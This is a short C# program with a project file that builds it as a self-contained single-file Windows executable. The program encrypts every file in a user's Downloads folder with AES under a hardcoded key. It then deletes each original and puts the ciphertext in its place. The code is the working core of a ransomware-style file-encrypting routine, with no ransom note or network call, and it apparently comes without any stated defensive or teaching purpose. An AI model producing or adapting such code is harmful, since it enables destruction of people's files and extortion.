using System.IO;
using System.Security.Cryptography;
using System.Linq;
namespace _2test
{
class Program
{
static void Main(string[] args)
{
byte[] key = Enumerable.Range(0, 32).Select(x => (byte)x).ToArray();
string PathToFolder = @"C:\Users\Lizard\Downloads\";
string[] allfiles = Directory.GetFiles(PathToFolder);
foreach (string filename in allfiles)
{
EncryptFile(filename, key);
}
}
private static void EncryptFile(string path, byte[] key)
{
string tmpPath = Path.GetTempFileName();
using (FileStream fsSrc = File.OpenRead(path))
using (AesManaged aes = new AesManaged() { Key = key })
using (FileStream fsDst = File.Create(tmpPath))
{
fsDst.Write(aes.IV);
using (CryptoStream cs = new CryptoStream(fsDst, aes.CreateEncryptor(), CryptoStreamMode.Write, true))
{
fsSrc.CopyTo(cs);
}
}
File.Delete(path);
File.Move(tmpPath, path);
}
}
}
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net5.0</TargetFramework>
<PublishSingleFile>true</PublishSingleFile>
<RuntimeIdentifier>win-x64</RuntimeIdentifier>
<SelfContained>true</SelfContained>
<PublishReadyToRun>true</PublishReadyToRun>
<PublishTrimmed>true</PublishTrimmed>
<TrimMode>link</TrimMode>
</PropertyGroup>
</Project>